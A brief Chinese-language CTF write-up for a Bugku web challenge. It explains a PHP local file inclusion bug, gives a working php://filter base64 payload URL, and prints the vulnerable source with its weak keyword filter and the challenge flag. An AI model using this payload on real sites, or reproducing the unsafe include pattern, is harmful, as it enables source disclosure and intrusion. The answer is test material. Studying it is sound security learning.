思路
点击链接后,看见参数file=show.php ,典型的本地文件泄露
破解
访问http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
即得index.php的源码的base64编码,解码即可得到flag(在注释里)
原理
1、php://filter可以访问本地文件
2、read=convert.base64-encode是以base64编码后读取目标文件,进行base64编码是为了让include函数无法执行而返回源码,如果没有进行编码,则直接进行无法看到注释,因而无法得到flag
3、resource=index.php是指明目标文件
以下为源码
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
新姿势
1、file——联想本地文件泄露
2、php封装协议
https://www.cnblogs.com/LittleHann/p/3665062.html 参考资料